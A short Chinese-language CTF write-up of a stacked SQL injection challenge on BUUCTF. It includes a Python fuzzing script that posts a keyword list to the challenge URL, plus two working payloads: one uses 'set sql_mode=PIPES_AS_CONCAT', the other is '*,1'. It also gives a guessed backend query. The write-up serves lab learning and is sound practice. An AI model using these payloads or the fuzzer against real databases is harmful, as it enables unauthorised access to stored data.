我便尝试了1和1' 发现只有数字才会有回显,而且只会回显这个
然后我尝试了order by ,union , 报错和盲注,发现都不行全是给我nonono
用试着使用堆叠注入,发现了新大陆
可是我去columns后,又给我出现了nonono,应该flag也被过滤了,好啊你,坏事做尽是吧
拿我没辙了对吧,行 ,我就去看了别人的wp
import requests
url = "http://bdefb930-bff7-4046-b7ef-b26572a646b4.node4.buuoj.cn:81/"
with open('sql-fuzz.txt') as f:
for line in f:
data = {"query": line}
r = requests.post(url ,data=data)
if('Nonono' in r.text):
print(line.strip())
借了其他师傅的脚本fuzz了一下
很多都被过滤了
解法一
先上payload
1;set sql_mode=PIPES_AS_CONCAT; select 1
根据大佬猜的后端语句:
sql=“select”.post[‘query’]."||flag from Flag";
这个符号 || 是或的意思
a || b : 如果a为真则b不执行;
因此大佬想出了堆叠注入把||改成concat 再执行1 为真并且执行 flag from flag
从而得到flag
解法二
payload:*,1
我看了还是没懂,求大佬解释解释这个